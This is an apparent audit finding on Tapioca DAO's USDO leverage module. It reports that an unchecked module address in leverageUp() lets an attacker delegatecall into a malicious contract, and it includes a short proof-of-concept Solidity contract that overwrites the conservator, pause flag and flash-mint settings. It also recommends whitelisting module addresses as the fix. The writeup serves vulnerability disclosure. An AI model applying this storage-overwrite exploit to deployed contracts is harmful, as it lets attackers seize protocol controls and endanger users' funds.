Tapioca DAO - ACai's results

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L133-L188 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/BaseUSDOStorage.sol#L22-L35

Vulnerability details

Impact

The USDOLeverageModule.leverageUp() function does not limit the address module input parameter. Attacker could input a malicious module address to modify the gobal variable of USDOLeverageModule through USDOLeverageModule.leverageUp() function. The affected variables are listed below.

    /// @notice returns the Conservator address
    address public conservator;
    /// @notice addresses allowed to mint USDO
    /// @dev chainId>address>status
    mapping(uint256 => mapping(address => bool)) public allowedMinter;
    /// @notice addresses allowed to burn USDO
    /// @dev chainId>address>status
    mapping(uint256 => mapping(address => bool)) public allowedBurner;
    /// @notice returns the pause state of the contract
    bool public paused;

    /// @notice returns the flash mint fee
    uint256 public flashMintFee;
    /// @notice returns the maximum amount of USDO that can be minted through the EIP-3156 flow
    uint256 public maxFlashMint;

Proof of Concept

Attacker input the address of attack contract as module parameter. Then USDOLeverageModule contract would use this malicious attack.leverageUpInternal() function to set its gobal variable.

contract attack is OFTV2 {
    /// @notice the YieldBox address.
    IYieldBoxBase public immutable yieldBox;

    /// @notice returns the Conservator address
    address public conservator;
    /// @notice addresses allowed to mint USDO
    /// @dev chainId>address>status
    mapping(uint256 => mapping(address => bool)) public allowedMinter;
    /// @notice addresses allowed to burn USDO
    /// @dev chainId>address>status
    mapping(uint256 => mapping(address => bool)) public allowedBurner;
    /// @notice returns the pause state of the contract
    bool public paused;

    /// @notice returns the flash mint fee
    uint256 public flashMintFee;
    /// @notice returns the maximum amount of USDO that can be minted through the EIP-3156 flow
    uint256 public maxFlashMint;

    function leverageUpInternal(
	uint256 amount,
        IUSDOBase.ILeverageSwapData memory swapData,
        IUSDOBase.ILeverageExternalContractsData memory externalData,
        IUSDOBase.ILeverageLZData memory lzData,
        address leverageFor) external{
			conservator = address(0); // or any address
			paused = !paused;	// true or false
			flashMintFee = 0	// or any uint256
			maxFlashMint = 0	// or any uint256
		}
}

Tools Used

Recommended Mitigation Steps

Suggest to limit the module address in the white list.

Assessed type

call/delegatecall